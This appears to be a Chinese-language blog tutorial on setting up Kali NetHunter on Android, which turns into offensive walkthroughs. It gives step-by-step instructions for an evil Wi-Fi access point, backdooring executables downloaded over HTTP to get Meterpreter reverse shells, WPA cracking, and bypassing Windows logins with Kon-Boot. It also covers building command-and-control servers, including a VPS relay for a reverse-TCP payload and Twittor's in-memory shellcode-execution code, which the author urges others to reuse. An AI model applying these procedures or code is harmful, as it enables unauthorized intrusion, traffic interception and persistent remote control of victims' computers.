Being mobile doesn’t mean putting up with tiny! (手机端并不意味着功能微小)。通过 HDMI 或屏幕投射连接显示器,可以获得桌面版本 Kali 一样的体验。
手机端 连接 nethunter:
1、选择菜单 "Kex Manager", 点击 "SETUP LOCAL SERVER" 设置VNC密码;
2、取消勾选 "Localhost Only"
3、选择用户(可选),默认 kali
4、点击 "START SERVER"
5、点击 OPEN KEX CLIENT,打开 NetHunter KeX,输入用户名 kali 前面设置的密码即可
PC端 连接 nethunter:
需要下载支持 VNC 的软件,这里使用 MobaXterm,打开 MobaXterm,选择 VNC,输入地址:手机IP:端口 进行连接。然后输入密码就进去了!
vnc setting localhost:1 port 5901(注意:这里可能每个人的不一样,在终端中设置vnc密码的时候,平常后会出现个数字,大概像 1,2,3,4 这样的 ),类似的,port 就应为 5901,5902,5903。
输入设置的6位 vnc 密码。点击 connect 就可以出现图形化界面。
启动 KeX 管理器
单击 菜单项,然后选择“KeX 管理器”以打开 KeX 菜单。在这里可以启动和停止服务,打开KeX客户端并配置高级设置。可以通过执行以下步骤来启动 KeX:
- 首次使用前设置 KeX 密码
- 启动 KeX 服务器
- 打开 KeX 客户端
- 输入 KeX 密码(该密码安全地存储在连接配置文件中)
- 在 KeX 客户端点击“连接”,连接 KeX 服务器
- 连接HDMI显示器和蓝牙键盘和鼠标(可选,设备可用作触摸板)
打开“高级设置”并设置自定义分辨率以适合连接的显示器
设置 KeX。在首次启动 KeX 服务器之前,单击“SETUP LOCAL SERVER”并配置会话密码和只读密码。
启动 KeX。要启动 KeX,请单击“启动服务器”。要停止 KeX,请单击“停止服务器”。若要显示服务器是否正在运行,请单击“刷新”按钮。
启动 KeX 客户端。要启动 KeX 客户端,请单击“打开 KEX 客户端”
首次连接前,请在密码字段中输入密码(设置服务器时配置的密码)
点击 connect 即可
使用 KeX 控件。触摸屏幕会显示屏幕显示 2 秒钟,这允许您打开屏幕键盘或上下文菜单来配置或断开 KeX 会话。你可以随时断开并重新连接到您的会话。
高级 KeX 设置。打开“高级设置”菜单以调整显示分辨率设置。
NetHunter 更改 MAC
MAC Changer 窗口允许你更改 NetHunter 设备网络接口的 MAC 地址。您可以选择将 MAC 地址设置为随机值,也可以使用标准的 6 对表示法(如 00:11:22:AA:BB:CC)手动输入。
MITM 框架
MITM (Man In The Middle) 由 @byt3bl33d3r 编写,提供了方便的一站式服务,满足你所有的 MitM 和网络攻击需求。它包括键盘记录、cookie 捕获、ARP 中毒、注射、欺骗等等。
NetHunter MANA 邪恶接入点
The MANA Toolkit 是 SensePost 的邪恶接入点实现,可执行流氓 Wi-Fi AP 和 MitM 攻击。MitM 日志被写入 Kali chroot 中的 /var/lib/mana-toolkit/。
默认的 MANA 配置应按原样工作,但是,您可以调整任何可用设置以匹配您的目标环境,例如 ssid、通道号等。将所有内容配置到您满意的程度后,点击“更新”按钮以保存配置。
Metasploit Payload 生成
MSFvenom Payload Creator (MFSPC) 由 g0tmi1k 编写,用于消除使用 Metasploit msfvenom 实用程序生成有效负载的痛苦。只需选择您的有效负载,设置其选项,然后生成您的有效负载。
Nmap 扫描
通过 Nmap 扫描窗口,你可以轻松访问功能强大的 Nmap 扫描最常用的选项,让您轻松对目标或网络进行深入扫描,而无需使用屏幕键盘在命令行上键入长字符串。
Social Engineer Toolkit
NetHunter 社会工程师工具包。Social Engineer Toolkit 网络钓鱼电子邮件模板创建器使您可以自定义 3 个网络钓鱼电子邮件模板。插入您自己的链接、缩略图、名称和主题。这些模板保存到 SET 的 templates 目录中,因此可以在使用群发邮件攻击时选择它。
无线网卡和 NetHunter
Wireless Cards and NetHunter。外部无线网卡是必要的,因为除了现代骁龙 SOC 中使用的一些高通芯片外,Android 设备在大多数设备上不支持监控模式。有些设备可以通过修改后的固件和内核支持监控模式,例如Nexus 5,7(2012)和Nexus 6P。目前,只有经过特殊修改的Nexus 5版本支持Nethunter的监视模式。
有几个限制是 Android 设备需要 USB-OTG 电缆并且功率输出有限。由于这些限制,并非所有无线网卡都能接收必要的电源输出,并且可能不支持外部电源(Y 型电缆)。
当问“NetHunter 的最佳卡是什么?”时,您需要问问自己您的用例是什么。虽然所有的卡在近距离上都可能表现相似,但其中一些卡具有更高的发射功率和天线附件,这使得它们能够在比小型卡更远的距离上工作。还有一种可能性是,您的设备可能只能通过 OTG 提供 450 mA 或更低的功率,而不是完整的 USB 500 mA 规格。如果是这种情况,您可能需要考虑传输功率较低的设备。
默认情况下,大多数(如果不是全部)NetHunter 内核都支持以下芯片组:
Atheros
- ATH9K_HTC (AR9271, AR7010)
- ATH10K
Ralink
- RT73
- RT2800USB
- RT3070
Realtek 瑞昱
- RTL8188EUS
- RTL8188CU
- RTL8188RU
- RTL8192CU
- RTL8192EU
- RTL8723AU
- RTL8811AU
- RTL8812AU
- RTL8814AU
- RTL8821AU
- RTW88-USB
MediaTek。MediaTek 联发科
- MT7610U
- MT7612U
Qualcomm internal wifi chipsets (wlan0)。高通内置 wifi 芯片组 (wlan0)
- QCACLD-2.0
- QCACLD-3.0
以下设备已确认与 NetHunter 可以一起使用:
-
TP-Link TL-WN722N v1 (Please note that v2 & v3 have unsupported chipsets) but v2 and v3 may be supported using RTL8812AU drivers.)
-
TP-Link TL-WN822N v1 - v4
-
Alfa Networks AWUS036ACH
-
Alfa Networks AWUS036NEH (recommended by @jcadduono)
-
Alfa Networks AWUS036NHA
-
Alfa Networks AWUSO36NH
-
Panda PAU05 Nano
以下设备已确认部分适用于 NetHunter 版本:
- Alfa Networks AWUS051NH (dual band 5 GHz support may be unreliable)
以下设备已确认不能与 NetHunter 版本一起使用:
绕过 Windows 登录认证
NetHunter 其实有许多隐藏玩法,比如借助 DriveDroid 实现 Windows 登陆绕过密码。DriveDroid本是个允许通过安卓手机中的 ISO/IMG 镜像文件引导启动 PC机的一个App,但结合了特定的镜像,实现绕过 Windows 登陆认证就变得可行。
以Win7为例,首先为默认账户创建密码 hello ,DriveDroid 默认引导镜像存放目录位于SDCard/Download/images,只需将欲引导的镜像存放于此目录即可。
这里绕过Windows或OSX登陆认证的镜像为 Kon-Boot。可以到官网了解,其原理在于处理BIOS修改系统内核的引导处理,跳过SAM检查,直接登陆系统。因为是付费软件,以下以自行寻觅的镜像为例演示。关闭 MTP文件传输,打开 DriveDroid,自动列出 images 目录下得镜像文件。
选择 Kon-Boot.img 镜像挂载,模式这里选择为 Read-Only USB
加载成功后相应镜像有所标志
而在连入的PC机中也会显示加载有新的可移动磁盘(或软驱盘),如未能显示,可在配置页面进行相应调整(可通过USB Setup Wizard向导指引)
此时在设有密码的PC机重启,进入BIOS设置启动项
如果镜像加载成功,可以看到飞奔的图案如下:
之后登陆用户密码处回车即可绕过密码认证登陆系统
需要说明的是,通过此方式登陆系统无法直接修改或删除系统密码。
WarDriving
字面意思是 "战争驾驶、驾驶攻击"。"驾驶" 是相当字面的。黑客驾驶汽车(或有时是其他车辆,如自行车)四处走动,配备特殊设备,可绘制出不安全的 Wi-Fi 网络。其实就是不断的改变位置信息进行攻击。在 NetHunter 的 Wireless 模块中 Kismet 作为 WarDriving 的默认工具,不过操作起来画面太美不敢看。在启动 kismet 之前,请确保您的无线接口处于监视器模式。由于监视器模式 QCACLD-3.0 驱动程序,也可以使用内部无线接口。
退而求其次,推荐使用 App WigleWifi。不过注意不要不小心上传数据。使用easy,界面很难看。
好在数据可以以 Sqlite 数据库格式存储在本地。
Mana EvilAP蜜罐
想建个 CMCC 无线网络钓鱼劫持流量? PineApple 没有带在身边,不妨拿出手机,开个蜜罐。Mana蜜罐采用与 PineApple 相同的:Hostapd的Karma补丁,可用来欺骗接入无线网络用户,使其可很平滑连接到虚假AP中,进行后续攻击。
需要说明的是:NetHunter无线攻击模块,大都需要使用 OTG 外接USB无线网卡,主流芯片(可以试试 Kali 是否可直接识别)网卡均可。WN722N 较为推荐,迷你的EDUP网卡通用性则较强(Raspberry Pi也可直接识别),只是信号强度..自然可想而知。
Mana蜜罐有多种Hacking模式,均为sh脚本,可自由定制。
Mana工具安装目录为:/usr/share/mana-toolkit
启动脚本则在此处存放:/usr/share/mana-toolkit/run-mana
截获流量文件存放于:/var/lib/mana-toolkit
通过 NetHunter Home 的Mana蜜罐页面可方便的对配置文件进行修改:
Hostapd 配置文件
DHCP服务配置文件
DNS 欺骗配置文件
服务启动脚本有多个,均可自由编辑修改:
上图对应脚本 start-nat-full.sh,脚本需要USB无线网卡(存在上行流量)启动,无线连入为NAT模式,并启动所有脚本包括:firelamb、sslstrip、sslsplit 等,截获流量并保存。
start-nat-simple.sh 同样有上行流量,但并不启动 firelamb、sslstrip、sslsplit 等脚本。
start-nat-simple-bdf.sh,加入了BDF恶意代码Inject工具,后面章节将对其攻击思路进行介绍。此外,还有
start-noupstream.sh :Mana作为无法上网的虚假AP启动,但可吸引WIFI默认开启的终端自动连接并抓取信息。
start-noupstream-eap.sh:Mana同样无法上网,但会进行EAP攻击
编辑好启动文件后,Start Attack,会弹窗勾选启动脚本:
即可启动服务。
Backdooring Executable Over HTTP
对使用HTTP协议传送的二进制文件注入shellcode。
首先建立一个Mana蜜罐,SSID 这里使用默认名称 internet,启动服务
cd /usr/share/mana-toolkit/run-mana
./start-nat-simple-bdf.sh
再开一个Shell,编辑 bdfproxy.cfg,此配置文件包含了针对不同平台默认设置的 payload,可自行更换。不过由于显示问题,用 nano 编辑文本会一行行刷新,还是换个方式编辑比较好。这里只把IP 修改192.168.1.151,也可在 Nethunter 的主面板下的 MANA Evil Access Point 中进行配置。
nano /etc/bdfproxy/bdfproxy.cfg 配置好IP之后,在Shell中直接输入bdfproxy运行之。再新开一个Shell 启动 Metasploit
一切准备就绪,等待连入蜜罐AP的PC机上网下载二进制文件,在此通过百度下载 everything (神器啊)演示:
运行everthing,因为注入了 payload,会出现自校验失败的提示
查看MSF,已成功反弹回Shell,而上面自校验失败的提示就是MeterPreter 的screenshot 截图
不得不说,这个新特性真的很Cool。
Wifite 破解
如果没有无线破解是不科学的,NetHunter推荐的 Wifite 破解工具是其最早集成的功能之一。移动设备的便携性更有利于随时随地进行Wifi安全测试,只需挂载上外置无线网卡便可轻松抓包破解,不过并不建议直接在移动设备上破解抓到的包,如跑几分钟没结果,就拿高性能设备破解吧,否则易导致设备死机。连接好外置无线网卡后,在 Nethunter 主菜单选择 Launch Wifite 即可进入
选择开启混杂监听模式的网卡,选择Wlan1
扫描开始,每5秒更新一次,当确认攻击目标后 CTRL+C 停止扫描
输入攻击目标序号,这里就选 XDSEC-WIFI,输入2
抓包成功后自动调用字典破解,这里机智的把字典删掉,其自动退出
抓到的握手包存放在 /data/local/kali-armhf/HS目录下,命名规则是 SSID+MAC
如果目标开启 WPS,则自动进行PIN码破解。Wifite 相对傻瓜化,易操作,适合移动终端。连入无线后结合 zANTI 等工具调戏即可。
3、安装 精简版(NetHunter Lite)
有 root 就安装完整版,没 root 就安装 Rootless 版本。
4、安装 非root版 (Rootless)
官网 NetHunter Rootless 安装步骤:https://www.kali.org/docs/nethunter/nethunter-rootless/
- NetHunter Store App 下载地址 https://store.nethunter.com/NetHunterStore.apk
- NetHunter Web Store 访问地址 https://store.nethunter.com/
- NetHunter Apps 源码在 GitLab https://gitlab.com/kalilinux/nethunter/apps/
所有应用程序都可以通过 NetHunter Store 客户端安装。
从 store.nethunter.com ( https://store.nethunter.com/ ) 安装 NetHunter-Store 应用程序
安装 F-Droid 开源软件商店:https://f-droid.org/zh_Hans/
使用 F-Droid 商店安装 Termux:https://f-droid.org/packages/com.termux/
从 NetHunter-Store 安装 Termux、NetHunter-KeX客户端 和 Hacker’s keyboard
打开 Termux 执行下面命令,如果卡在 installing 就开个代理
$ termux-setup-storage 添加访问存储权限,点击允许
$ pkg install wget
$ wget -O install-nethunter-termux https://offs.ec/2MceZWr
$ chmod +x install-nethunter-termux
$ ./install-nethunter-termux执行 "./install-nethunter-termux" 命令会从 nethunter 下包,如下:
一般情况下都会丢包导致SSL error:(null)最终!导致校验失败无法安装。这时候使用迅雷或者其他的下载软件下载对应的压缩包。https://images.kali.org/nethunter/kalifs-arm64-full.tar.xz 然后把下载好的压缩包复制到手机下的download目录下,在终端里执行如下命令。
cd storage
cd downloads
mv kalifs-arm64-full.tar.xz /data/data/com.termux/files/home
cd /data/data/com.termux/files/home
./install-nethunter-termux
第一个蓝色句子意思大概是发下同名文件,是否要删除下载下一个?N、
中间需要的时间有点长,请耐心等待。
第二个蓝色句子意思大概是问你安装完要不要把安装文件(rootfs)删了?这里选择y
安装完成后,这就是最简 gui 的安装过程。然后执行 nh 命令进入 kali
打开 Termux 并输入下面命令,命令 nethunter 可以缩写为 nh
nethunter 启动Kali NetHunter命令行界面
nethunter kex passwd 配置KeX密码(仅在首次使用前需要)
nethunter kex & 启动Kali NetHunter桌面体验用户会话
nethunter kex stop 停止Kali NetHunter桌面体验
nethunter <command> 在NetHunter环境中运行
nethunter -r 以root身份启动Kali NetHunter
nethunter -r kex passwd 为root配置KeX密码
nethunter -r kex & 以root身份启动Kali NetHunter Desktop Experience
nethunter -r kex stop 停止Kali NetHunter桌面体验根会话
nethunter -r kex kill 杀死所有KeX会话
nethunter -r <command> 以root身份在NetHunter环境中运行 <command>
如果在后台运行 kex( & )而没有设置密码,再次设置密码时,首先需要将其带回前台,通过 fg <job id> -您可以稍后通过 Ctrl + z 和 bg <job id> 再次将其发送到后台。要使用 KeX,请启动 KeX客户端,输入密码并点击连接提示:为了获得更好的观看体验,请在 KeX 客户端的“高级设置”下输入自定义分辨率。
安装成功后
- 安装后第一件事就是运行 sudo apt update && sudo apt full-upgrade -y 来更新Kali。如果你有足够的存储空间,你可能也想运行 sudo apt install -y kali-linux-default。或者运行 kali-tweaks 来调整 kali 的元数据库的群组,通过tab节点来调整选择相关群组,选择并apply。相关群组如下:
System 系统组:https://www.kali.org/docs/general-use/metapackages/#system
kali-linux-core: Base Kali Linux System – core items that are always included 系统基础组件
kali-linux-headless: Default install that doesn’t require GUI 不要求GUI则默认安装headless
kali-linux-default: “Default” desktop (amd64/i386) images include these tools 默认桌面
kali-linux-arm: All tools suitable for ARM devices ARM设备全部工具集
kali-linux-nethunter: Tools used as part of Kali NetHunter NetHunter工具集
Desktop environments/Window managers 桌面环境/窗口管理:https://www.kali.org/docs/general-use/metapackages/#desktop-environmentswindow-managers
kali-desktop-core: Any key tools required for a GUI image GUI核心组件
kali-desktop-e17: Enlightenment (WM)
kali-desktop-gnome: GNOME (DE)
kali-desktop-i3: i3 (WM)
kali-desktop-kde: KDE (DE)
kali-desktop-lxde: LXDE (WM)
kali-desktop-mate: MATE (DE)
kali-desktop-xfce: Xfce (WM)
Tools 工具:https://www.kali.org/docs/general-use/metapackages/#tools
kali-tools-gpu: Tools which benefit from having access to GPU hardware 访问GPU硬件资源工具
kali-tools-hardware: Hardware hacking tools 硬件hack工具
kali-tools-crypto-stego: Tools based around Cryptography & Steganography 加密工具
kali-tools-fuzzing: For fuzzing protocols fuzzing协议工具
kali-tools-802-11: 802.11 (Commonly known as “Wi-Fi”) 无线协议工具
kali-tools-bluetooth: For targeting Bluetooth devices 蓝牙设备
kali-tools-rfid: Radio-Frequency IDentification tools 无线射频
kali-tools-sdr: Software-Defined Radio tools 软件定义无线工具
kali-tools-voip: Voice over IP tools IP语音工具
kali-tools-windows-resources: Any resources which can be executed on a Windows hosts 窗口资源
kali-linux-labs: Environments for learning and practising on 实验室环境测试
菜单:https://www.kali.org/docs/general-use/metapackages/#menu
kali-tools-information-gathering: Used for Open Source Intelligence (OSINT) & information gathering 信息收集
kali-tools-vulnerability: Vulnerability assessments tools 漏洞扫描
kali-tools-web: Designed doing web applications attacks web攻击
kali-tools-database: Based around any database attacks 数据库攻击
kali-tools-passwords: Helpful for password cracking attacks – Online & offline 在线/离线密码攻击
kali-tools-wireless: All tools based around Wireless protocols – 802.11, Bluetooth, RFID & SDR 无线协议攻击
kali-tools-reverse-engineering: For reverse engineering binaries 逆向工程
kali-tools-exploitation: Commonly used for doing exploitation 漏洞发现
kali-tools-social-engineering: Aimed for doing social engineering techniques 社会化工程
kali-tools-sniffing-spoofing: Any tools meant for sniffing & spoofing 嗅探工具
kali-tools-post-exploitation: Techniques for post exploitation stage 漏洞工具
kali-tools-forensics: Forensic tools – Live & Offline 取证工具
kali-tools-reporting: Reporting tools 报告工具
其他:https://www.kali.org/docs/general-use/metapackages/#others
kali-linux-large: Our previous default tools for amd64/i386 images amd64/i386默认工具集
kali-linux-everything: Every metapackage and tool listed here 所有元数据和列出的工具
kali-desktop-live: Used during a live session when booted from the image live启动盘 - 所有的渗透测试工具都应该工作,但有些可能有限制,例如metasploit 没有数据库支持。
- 一些实用程序,如 top命令 不会运行在unrooted手机。
- 非 root 用户在 chroot 中仍然拥有 root 访问权限。这是使用 proot 实现的。
- 通过停止所有nethunter会话并在termux会话中键入以下内容来执行rootfs的定期备份: tar -cJf kali-arm64.tar.xz kali-arm64 && mv kali-arm64.tar.xz storage/downloads 这将把备份放在Android下载文件夹中。注:在旧设备上,将“arm 64”更改为“armhf”
关于 termux 安装 kali| postgresql 报错:mainError: Data directory /var/lib/postgresql/15/main must not be owned by root
sudo rm -rf /var/lib/dpkg/info/postgresql*
sudo dpkg --configure -a
sudo apt update && sudo apt full-upgrade -y
termux 中 kali 本身不带工具,如果想要完整版安装,需要在启动 kali 后,在里面执行下面命令,不过这需要大量磁盘空间:
apt update
apt full-upgrade -y
apt install kali-linux-full 或者 apt install kali-linux-default
执行 apt list 可以列出所有工具。
安装 Termux-api,去应用商店或去官网下载安装,或者 Termux 执行:pkg install termux-api ,然后给 termux-api 权限就可以获取对应的手机信息了。
vnc 连接桌面
VNC是Virtual Network Computing(虚拟网络计算机)的缩写。就是远程控制你电脑的工具。(带GNU图形界面)支持linux、unix、Windows等操作系统。
termux 开启状态才可以用 vnc
nh 是 nethunter 的缩写,-r 代表 root 用户,去了 -r 就是普通用户
- nh kex passwd 设置 VNC 密码。nh -r kex passwd 设置 root 用户使用 kex 的密码
- nh -r kex & 后台启动桌面。(root用户端口默认5902,而普通用户是5901,软件nethunter kex 默认5900 )
- 打开 NetHunter-KeX app
去掉 localhost:1后的:1,然后把端口号改为 5902
再然后,输入密码(用户名可写root),点击黑色按钮 Connect进行连接- 关闭服务:在termux中执行 nh -r kex kill 或 nh -r kex stop
关于 kali nethunter 使用 termux 代替默认终端的方案:https://blog.csdn.net/AA1234567890_/article/details/122974973
Windows VNC Viewer无法连接Android上Kali NetHunter Kex远程桌面的一种解决办法
:https://zhuanlan.zhihu.com/p/560172905
上面通过 termux 开启 vnc 服务,也可以直接进入 kali,在 kali 中启动 vnc
kali 配置VNC ( kali 自带 tightvncserver ):https://www.cnblogs.com/zroCrow/p/16183209.html
方法 2:https://github.com/Hax4us/Nethunter-In-Termux
安装:
在HOME 目录中下载脚本curl -LO https://raw.githubusercontent.com/Hax4us/Nethunter-In-Termux/master/kalinethunter
添加执行权限 chmod +x kalinethunter
运行脚本 ./kalinethunterIn Case Of SSL error: certificate verify failed。执行命令:./kalinethunter --insecure
用法:
执行命令 startkali 启动 nethunter。默认用户名和密码都是 kali
如果想以 root 用户启动 nethunter 则执行命令:startkali -rVNC 手册:
开始一个 VNC 会话:vnc start
停止一个 VNC 会话:vnc stop
查看 VNC 状态( Display and port number):vnc status
启动vnc start则默认会开启 vncserver 。
kali 用户启动后:DISPLAY=:2 & PORT=5902
root 用户启动后:DISPLAY=:1 & PORT=5901启动 LXDE 桌面
默认的 DESKTOP 是 XFCE4,但是也可以设置 LXDE 作为桌面:https://www.hax4us.com/2018/07/how-to-install-lxde-in-kali-nethunter.html?m=1
安装完成后,启动进入kali:startkali
安装 VNC 服务
进入kali 后,root 权限下执行:sudo wget https://raw.githubusercontent.com/EXALAB/AnLinux-Resources/master/Scripts/DesktopEnvironment/Apt/Xfce4/de-apt-xfce4.sh && bash de-apt-xfce4.sh
执行 vncserver-start 后,输入密码一个自定密码即可。
打开 vnc 的 APP,像这样设置
要在Termux上安装xfce4桌面环境,可以按照以下步骤进行操作:
首先,确保你的Termux已经安装了必要的软件包。你可以使用以下命令安装所需的软件包: pkg install x11-repo python openbox pypanel xorg-xsetroot aterm
接下来,你需要安装PyXDG库。你可以使用以下命令安装: pip3 install PyXDG
然后,你可以使用以下命令下载并运行安装脚本:
wget https://raw.githubusercontent.com/EXALAB/AnLinux-Resources/master/Scripts/DesktopEnvironment/Apt/Xfce4/de-apt-xfce4.sh && bash de-apt-xfce4.sh
安装完成后,你可以启动xfce4桌面环境。你可以使用以下命令启动xfce4: startxfce4
注意,这只是一种在Termux上安装xfce4桌面环境的方法。还有其他方法可以安装Linux系统,如proot-distro等。你可以在GitHub上找到更多的项目来参考
5、ARM 设备 武器化指南
ARM 设备 武器化指南 --- 上手实操:https://www.anquanke.com/post/id/205455#h2-4
在渗透测试流程中,实施人员可以尝试利用WIFI和USB连接,将移动安全小组提供的移动端 RAT 植入到目标移动终端中,这里稍微具体一些、展开讲下。
C&C 服务器
C&C服务器:https://blog.csdn.net/laowu8615/article/details/78181032
C&C服务器,其全称为 command and control server。C&C服务器不仅可以为攻击者提供便利的资源管理平台,也可以保障其个人隐私安全。现在通过几个C&C服务器的搭建实验了解一下什么是C&C服务器,以了解如何应对利用C&C的攻击行为。
无 C&C服务器 通讯
某天,某攻击者通过固定的外网IP控制了一个外部的外网用户。两台设备的交流完全是点对点交流的,并且交流方式是主动式交流。
由于该用户由购买了几台电脑,一个IP已经不够用了,所以就在家里面配置了一台路由器。虽然用户可以访问外网,但是这样就导致用户所有的电脑设备都处在一个内网中。攻击者没有办法控制用户的电脑,所以又入侵了他的路由器做了一个端口转发,然后继续控制该用户。
VPN C&C服务器 通讯
随后该攻击者发现自己的外网IP属于动态IP地址。只要一断线,IP地址就会改变。为了能够持久的进行监听会话,攻击者租用了一台VPS服务器,在上面搭建了一个pptp代理,随后用 iptable 做了端口转发,并且将交流方式改为反弹式交流。
技术解析:有的时候,地方宽带运营商会有各种各样的规则,这样将会导致控制端的网络非常不稳定。记得我在2012年的时候是使用电信的宽带对后门进行控制,但是电信给我的IP属于一个内网IP。随后打电话给客服改成公网IP,但是这个IP是动态的,每天都在变化。这样复杂的网络环境,攻击者需要一个稳定和安全的C&C服务器。
以下为本次实验的环境:
win 10 一台
Kali Linux 一台
Linode VPS 一个
在这里,我们先使用Kali Linux作为控制端,win 10则为病毒感染的设备,而VPS则作为一个C&C服务器。首先在Linode上租用一台 VPS,我们可以看到这台VPS的公网IP为139.162.5.124。
为了方便教程,我使用Veil编译一个meterpreter的payload。其设置如下
监听IP:139.162.5.124(VPS的公网IP)
监听端口:1024(随意填写)
Payload种类:python/meterpreter/rev_tcp
加密方式:Pyherion
然后需要对 VPS 进行一个简单的设置,通过 SSH 连接 VPS,然后进行 update。
随后安装pptp的基本组件
对/etc/pptpd.conf文件进行编辑,添加Local IP地址和remote IP地址。
localip 192.168.0.1
remoteip 192.168.0.2
然后编辑/etc/ppp/chap-secrets文件,设置pptp的账号和密码。
freebuf pptpd freebuf *
然后再编辑 /etc/ppp/options 文件,将 ms-dns 设置为根服务器地址,如 8.8.8.8 之类的。
再继续编辑/etc/ppp/options文件,添加net.ipv4.ip_forward=1,其意义是使IP能够转发。保存后可以使用sysctl -p检查一下。
输入命令 /etc/init.d/pptpd restart,让pptp服务重启,然后安装iptable,并且设置相关命令。
iptable安装:apt-get install iptables
iptable设置:
1. iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth0 -j MASQUERADE
2. iptables-save > /etc/iptables.pptp
3. cd /etc/network/if-up.d/
4. vi iptables
写入以下内容
#!/bin/sh
iptables-restore < /etc/iptables.pptp
5. chmod +x /etc/network/if-up.d/iptables
到目前这一步 pptp 已经可以连接到外网了,但是还不够,我们需要对其进行端口转发。大家可以使用iptable继续来做端口转发,或者使用rinetd之类的端口转发工具。
安装 rinetd:sudo apt-get install rinetd
然后编辑 /etc/rinetd.conf文件,写入0.0.0.0 1204 192.168.0.2 1204。其意义是把所有通过1024端口连接本机的IP映射到内网IP中的1024端口。
保存之后可以重启rinetd服务器,或者通过pkill命令关闭rinetd,然后通过该命令”rinetd -c /etc/rinetd.conf“调用刚才保存的conf文件开启rinetd程序。
对Kali中PPTP的连接做一下更改,主要是使用MPPE点对点加密连接,并且不发送PPP响应数据包。
VPN 连接没什么问题
然后打开Metasploit,找到handler,并且对其进行设置。
监听IP:192.168.0.2
监听端口:1024
在win10客户端激活木马,然后可以看到handler和payload已经成功搭建起了会话。
也许教程有点绕,但是技术逻辑很清晰。首先是后门持续对VPS进行监听,而VPS则是把被监听端口的流量转发到自己的内网IP上,而客户端在连接到VPN后对这个内网IP进行监听即可。
如下图所示:
Web C&C服务器 通信
慢慢的,VPS服务器商场发现攻击者把一台VPS服务器当作C&C服务器。这个攻击者就思考得改变一下数据交流的方式,于是用微博当作C&C服务器。后门程序和控制程序内置爬虫脚本,通过XPath参数或者其它参数抓取微博中的内容,将其当作控制命令。
技术解析:这个最能拿来当作例子的应该是twitter,实际上攻击者依靠twitter当作C&C服务器早就不是新闻,比如2015年新闻《俄罗斯攻击者是如何滥用twitter作为Hammertoss C&C服务器的?》。还有的攻击者入侵Discuz论坛,把该论坛当作其C&C服务器。这种开放式的C&C有些是直接分析HTML代码,将特定的参数值当作命令进行处理,有些则是读取json数据等。
在GitHub上公布了一个开源的twitter后门程序,其项目名称叫做twittor。
项目地址:Twittor
这个项目的主要文件如下
implant.py
requirements.txt
twittor.py
看GitHub的官方设置,我们是到Twitter中创建一个application,并且通过pip安装requirement.txt里面的一些组件。
创建applocation还好理解,因为在implant.py文件中,它需要twitter的username,token和secret等参数来发送推文。
至于requirements.txt中只有一个python的第三方库需要安全,就是tweepy库。这个库主要功能是和twitter的API建立通讯。
观察implant.py,该文件调用了以下模块
from tweepy import Stream
from tweepy import OAuthHandler
from tweepy import API
from tweepy.streaming import StreamListener
from uuid import getnode as get_mac
import ctypes
import json
import threading
import subprocess
import base64
import platform
tweepy我们已经说过了,是关于twitter API通讯模块,而json模块主要是对json进行解析。而uuid模块主要是获取目标机器的MAC地址的。ctypes库主要是提供和C语言兼容的数据类型,可以很方便地调用C DLL中的函数,这样可以很方便和meterpreter兼容起来。该文件还调用了threading库,这样可以进行多线程任务。同时也调用了subprocess,这样可以创建多个子线程。base64库主要是对数据进行base64位转码,比如中文等等之类的。而platform库主要是查看其操作系统的类型,版本号等系统信息。
先创建twitter的key和access token。
然后开启可读可写权限
把各种token和secret填写到payload和handler内。
但是运行的时候却报错了。
google上有人说到,tweepy项目的某个人原本想用update_status做一个开始的连接测试,以保证自己编译的代码可以正常访问google API。但是在tweepy开发的过程中,不注意把这个参数作为了一个首要条件,导致所有凡是要调用tweepy库发推的人必须要先验证update_status。
只能在twiitor.py里面调用一下tweepy,然后写入api.update_status(status=m),不过测试的时候还是爆出相同的错误。
但是当我运行twittor.py的时候的确是可以收到信息的,这个就尴尬了。
google搜索没有结果,于是慢慢查看官方文档,最终找到了问题的出处。原来twitter官方已经不允许使用direct_message命令,同时也表示一个user token不允许在第三方平台登陆。
而我们代码内刚好就有一个direct_messages命令。估计twitter最近也是被twitter僵尸网络折磨怕了,才会出现相关规则。
精力有限,如果要让这个C&C上线,需要查看twitter官方文档,重新编写代码了。这个C&C的精华之处在于它把所有的所有的数据转换成base64位进行传播,并且可以插入任意shellcode的数据片到内存值中。也就是说,当该后门被激活的时候,你甚至可以插入meterpreter的shellcode。这个功能的核心代码为以下部分:
class ExecuteShellcode(threading.Thread):
def __init__(self, jobid, shellc):
threading.Thread.__init__(self)
self.shellc = shellc
self.jobid = jobid
self.daemon = True
self.start()
def run(self):
try:
shellcode = bytearray(self.shellc)
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
except Exception as e:
print e
pass
具体的实现功能如下图所示:
如果有人要重新编写这个C&C,一定要加上这个功能啊!
Email C&C服务器 通讯
但是好景不长,有些攻击者发现这个微博号一直发一些奇怪的内容,深度挖掘之后发现这个微博号是一个C&C服务器。于是攻击者决定要搞一个绝对安全的C&C服务器,于是该攻击者决定在后门程序内加入smtp连接代码。从此该攻击者有了快乐开心的“抓鸡”生活。
技术解析:在“油管”上看到某个人录制的视频,代码也非常简单,很适合教学,于是便引用他的代码来进行讲解。他的后面程序是基于python来编写的。
文件下载下来后,发现有两个主要程序一个主要目录。
implant.py:payload
gcat.py:控制端
data目录:数据存放路径
先看看 implant.py,在1至15行我们可以看到这个后门程序调用了以下的python模块。
以下是gcat.py调用的模块。模块功能我不做描述了,请自行google。但是有几个模块是十分重要的,就是emai, imaplib和json模块。这里主要是负责处理email的管理,连接,以及编码和解码邮件json数据。
两个模块都有以下四个主要常量,分别是邮箱号,密码,smtp服务器地址,和smtp端口。
然后我们一边操作一遍讲解相关代码吧。我们在这里是使用Veil-Evasion 的auxiliary/pyinstaller_wrapper组件进行编译。
PYTHON_SOURCE填写上implant.py的路径。
文件名我就叫C&C吧,然后选择默认的编译方式。
编译好后我复制到windows系统上,然后双击运行。
这时email收到了一份邮件,里面有我的系统进程,系统版本等详细信息。
